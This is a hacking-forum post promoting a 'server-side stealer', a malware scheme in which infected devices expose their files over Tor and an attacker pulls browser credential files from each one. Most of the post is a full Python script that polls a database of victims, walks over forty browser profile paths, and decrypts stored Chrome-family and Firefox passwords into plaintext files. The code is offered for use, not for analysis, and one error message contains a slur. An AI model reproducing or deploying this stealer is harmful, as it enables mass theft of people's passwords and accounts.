NEW CARDING CHAT IN TELEGRAM

First server side stealer in the world?

Man

Professional
Messages
2,828
Reputation
5
Reaction score
448
Points
83
Do you remember this article I made about the Tor silent server?
Basically, it hosts directory listing on the victim's device on Tor and sends the attacker that onion address.

So I was thinking, and I had a new idea: a server-side stealer.

The basic concept is that since directory listing is opened on the victim's device, we could do a GET request to the path of the browser passwords and cookies and a GET request to the private key for decryption.

We can automate this by making a stealer script that does GET requests to the paths of the passwords, cookies, and decryption keys of every new (device) onion address that gets added to the database. To achieve this, we need to make the script connect to the database to check every 10 minutes if there is a new victim. It knows there is a new victim if a new onion address gets added.

1.png


Also since we don't know the {user} name of the device owner, we will make the our malware do that for us

2.png


We made a few changes to the malware code. Now it sends the username of the device along with the onion address and the password in the same JSON request.

<Ignore the stolen yes/no part; we will talk about it later.>

3.png


We made a list with paths of every browser (we can add more later).
We will make it process directories.

4.png


We have the username already, the malware sent it to us lol, and we have already defined base_path
We will scrap local state file first

5.png


Boom that was so easy, now we move the crazy stuff, we will scrap the whole users profile folder

6.png


After the operation is complete we can change the stolen field from no to yes

6.png
7.png



Now we have all the files needed, the only thing left is decrypting them.
so we need to make a new script for decryption, we have local state file and the while users profiles folder. I will paste it in here so u understand the concept even more.

Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import mysql.connector
import time
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

db_config = {
'user': 'pryxANDdryx',
'password': 'xssCompetition_serversidestealer',
'host': 'localhost',
'database': 'database'
}

def get_decryption_key(local_state_path):
if not os.path.exists(local_state_path):
print(f"Local State file not found at {local_state_path}.")
return None

print(f"Loading Local State from {local_state_path}...")
with open(local_state_path, 'r') as f:
local_state = json.load(f)
encrypted_key_b64 = local_state['os_crypt']['encrypted_key']
encrypted_key_with_header = base64.b64decode(encrypted_key_b64)
encrypted_key = encrypted_key_with_header[5:]
key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
print(f"Decryption key retrieved successfully.")
 return key

def decrypt_data(encrypted_data, key):
 try:
iv = encrypted_data[3:15]
encrypted_data = encrypted_data[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_data = cipher.decrypt(encrypted_data)[:-16]
 return decrypted_data
except Exception as e:
print(f"Failed to decrypt data: {e}")
return None

def decrypt_login_data(login_data_path, decryption_key):
decrypted_items = []
if not os.path.exists(login_data_path):
print(f"Login Data file not found at {login_data_path}.")
return []

print(f"Decrypting Login Data from {login_data_path}...")
 try:
# Connect to the SQLite database
conn = sqlite3.connect(login_data_path)
cursor = conn.cursor()

# Query to fetch the encrypted passwords
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
rows = cursor.fetchall()
print(f"Found {len(rows)} entries in Login Data.")

for origin_url, username, encrypted_password in rows:
print(f"Decrypting password for URL: {origin_url} and username: {username}")
# Decrypt the password
decrypted_password = decrypt_data(encrypted_password, decryption_key)
if decrypted_password:
decrypted_password = decrypted_password.decode('utf-8')
decrypted_items.append({
'url': origin_url,
'username': username,
'password': decrypted_password
 })
 else:
print(f"Failed to decrypt password for URL: {origin_url} and username: {username}")

conn.close()
except Exception as e:
print(f"Failed to process login data: {e}")

print(f"Decryption complete. Items found: {len(decrypted_items)}")
 return decrypted_items

def decrypt_firefox_data(firefox_profile_path):
decrypted_items = []
logins_json_path = os.path.join(firefox_profile_path, 'logins.json')
key4_db_path = os.path.join(firefox_profile_path, 'key4.db')

if not os.path.exists(logins_json_path) or not os.path.exists(key4_db_path):
print(f"Firefox files not found in {firefox_profile_path}.")
return []

print(f"Decrypting Firefox data from {firefox_profile_path}...")
 try:
def get_firefox_key():
conn = sqlite3.connect(key4_db_path)
cursor = conn.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
item1, item2 = cursor.fetchone()
conn.close()
key = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=base64.b64decode(item2),
iterations=10000,
backend=default_backend()
).derive(base64.b64decode(item1))
 return key

key = get_firefox_key()

# Load and decrypt logins.json
with open(logins_json_path, 'r') as f:
logins = json.load(f)
for login in logins.get('logins', []):
url = login.get('hostname')
username = login.get('username')
encrypted_password = base64.b64decode(login.get('encryptedPassword'))
cipher = Cipher(algorithms.AES(key), modes.CBC(encrypted_password[:16]), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_password = decryptor.update(encrypted_password[16:]) + decryptor.finalize()
decrypted_items.append({
'url': url,
'username': username,
'password': decrypted_password.decode('utf-8')
 })

except Exception as e:
print(f"Failed to process Firefox data: {e}")

print(f"Decryption complete. Items found: {len(decrypted_items)}")
 return decrypted_items

def process_profiles(profile_path, browser_name):
if browser_name == 'Firefox':
# Handle Firefox data
decrypted_items = decrypt_firefox_data(profile_path)
if decrypted_items:
json_file_path = os.path.join(profile_path, 'firefox_data.json')
with open(json_file_path, 'w') as json_file:
json.dump(decrypted_items, json_file, indent=4)
print(f"Decrypted data saved to {json_file_path}")
 else:
print(f"No decrypted data found for Firefox")
 else:
local_state_path = os.path.join(profile_path, 'Local State')
if not os.path.exists(local_state_path):
print(f"Local State file not found in {profile_path}. Skipping.")
return []

print(f"Processing profiles in {profile_path}...")
decryption_key = get_decryption_key(local_state_path)
if decryption_key is None:
print(f"Could not retrieve decryption key from {local_state_path}.")
return []

if browser_name in ['Opera', 'OperaGX']:
# Handle Opera and Opera GX without profiles
login_data_path = os.path.join(profile_path, 'Login Data')
decrypted_items = decrypt_login_data(login_data_path, decryption_key)
if decrypted_items:
json_file_path = os.path.join(profile_path, f'{browser_name}_data.json')
with open(json_file_path, 'w') as json_file:
json.dump(decrypted_items, json_file, indent=4)
print(f"Decrypted data saved to {json_file_path}")
 else:
print(f"No decrypted data found for {browser_name}")
 else:
# Handle other browsers with profiles
profiles = ['Default'] + [f'Profile {i}' for i in range(1, 100)]
for profile in profiles:
profile_dir = os.path.join(profile_path, profile)
if os.path.exists(profile_dir):
print(f"Processing profile {profile} in {profile_path}")
login_data_path = os.path.join(profile_dir, 'Login Data')
decrypted_items = decrypt_login_data(login_data_path, decryption_key)

if decrypted_items:
json_file_path = os.path.join(profile_path, f'{browser_name}_data.json')
with open(json_file_path, 'w') as json_file:
json.dump(decrypted_items, json_file, indent=4)
print(f"Decrypted data saved to {json_file_path}")
 else:
print(f"No decrypted data found for profile {profile}")
 else:
print(f"Profile directory {profile_dir} does not exist.")

def process_all_data():
while True:
 try:
# Connect to the MySQL database
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor()

# Query to fetch the .onion URLs and check for decrypted status and stolen status
query = 'SELECT id, onion, stolen, decrypted FROM users WHERE stolen = %s AND decrypted = %s'
cursor.execute(query, ('yes', 'no'))
rows = cursor.fetchall()
print(f"Found {len(rows)} records with stolen 'yes' and decrypted 'no'.")

if not rows:
print("No new data to decrypt. Waiting for 1 minute...")
time.sleep(60)
 continue

for row in rows:
onion_id, onion_url, stolen, decrypted = row
print(f"Processing .onion URL: {onion_url}")

base_folder_path = os.path.join(r'D:\malpro\creds', onion_url.split('.')[0])
print(f"Base folder path: {base_folder_path}")

browser_paths = {
'Thorium': os.path.join(base_folder_path, 'Thorium'),
'Chrome': os.path.join(base_folder_path, 'Chrome'),
'Chrome (x86)': os.path.join(base_folder_path, 'Chrome (x86)'),
'Chrome SxS': os.path.join(base_folder_path, 'Chrome SxS'),
'Maple': os.path.join(base_folder_path, 'Maple'),
'Iridium': os.path.join(base_folder_path, 'Iridium'),
'7Star': os.path.join(base_folder_path, '7Star'),
'CentBrowser': os.path.join(base_folder_path, 'CentBrowser'),
'Chedot': os.path.join(base_folder_path, 'Chedot'),
'Vivaldi': os.path.join(base_folder_path, 'Vivaldi'),
'Kometa': os.path.join(base_folder_path, 'Kometa'),
'Elements': os.path.join(base_folder_path, 'Elements'),
'Epic Privacy Browser': os.path.join(base_folder_path, 'Epic Privacy Browser'),
'Uran': os.path.join(base_folder_path, 'Uran'),
'Fenrir': os.path.join(base_folder_path, 'Fenrir'),
'Catalina': os.path.join(base_folder_path, 'Catalina'),
'Coowon': os.path.join(base_folder_path, 'Coowon'),
'Liebao': os.path.join(base_folder_path, 'Liebao'),
'QIP Surf': os.path.join(base_folder_path, 'QIP Surf'),
'Orbitum': os.path.join(base_folder_path, 'Orbitum'),
'Dragon': os.path.join(base_folder_path, 'Dragon'),
'360Browser': os.path.join(base_folder_path, '360Browser'),
'Maxthon': os.path.join(base_folder_path, 'Maxthon'),
'K-Melon': os.path.join(base_folder_path, 'K-Melon'),
'CocCoc': os.path.join(base_folder_path, 'CocCoc'),
'Brave': os.path.join(base_folder_path, 'Brave'),
'Amigo': os.path.join(base_folder_path, 'Amigo'),
'Torch': os.path.join(base_folder_path, 'Torch'),
'Sputnik': os.path.join(base_folder_path, 'Sputnik'),
'Edge': os.path.join(base_folder_path, 'Edge'),
'DCBrowser': os.path.join(base_folder_path, 'DCBrowser'),
'Yandex': os.path.join(base_folder_path, 'Yandex'),
'UR Browser': os.path.join(base_folder_path, 'UR Browser'),
'Slimjet': os.path.join(base_folder_path, 'Slimjet'),
'Opera': os.path.join(base_folder_path, 'Opera'),
'OperaGX': os.path.join(base_folder_path, 'OperaGX'),
'ChromeBeta': os.path.join(base_folder_path, 'ChromeBeta'),
'Speed360': os.path.join(base_folder_path, 'Speed360'),
'QQBrowser': os.path.join(base_folder_path, 'QQBrowser'),
'Sogou': os.path.join(base_folder_path, 'Sogou')
}
              
decrypted_any = False

for browser_name, path in browser_paths.items():
print(f"Checking {browser_name} path: {path}")
if os.path.exists(path):
print(f"Processing {browser_name} data for {onion_url}")
process_profiles(path, browser_name)
decrypted_any = True
 else:
print(f"{browser_name} path {path} does not exist or is inaccessible.")

firefox_path = os.path.join(base_folder_path, 'firefox')
if os.path.exists(firefox_path):
print(f"Processing Firefox data for {onion_url}")
process_profiles(firefox_path, 'Firefox')
decrypted_any = True

if decrypted_any:
update_query = 'UPDATE users SET decrypted = %s WHERE id = %s'
cursor.execute(update_query, ('yes', onion_id))
conn.commit()
print(f"Updated decrypted column to 'yes' for ID {onion_id}")

except mysql.connector.Error as err:
print(f"Error: {err}")
except Exception as e:
print(f"error niggering: {e}")

print("Waiting for 1 minute before the next check...")
time.sleep(60)

if __name__ == "__main__":
process_all_data()

So basically, what's going to happen in here is:
we have a malware that is going to host directrory listing on tor and we will setup two simple scripts locally, one of them will scrap the encrypted passwords and local state files from each browser, and use them in the second script which is decryption, after decryption we will have the valid passwords, and kaboom, the first server side stealer in the world that legit uses GET requests instead of POST requests.
 
Top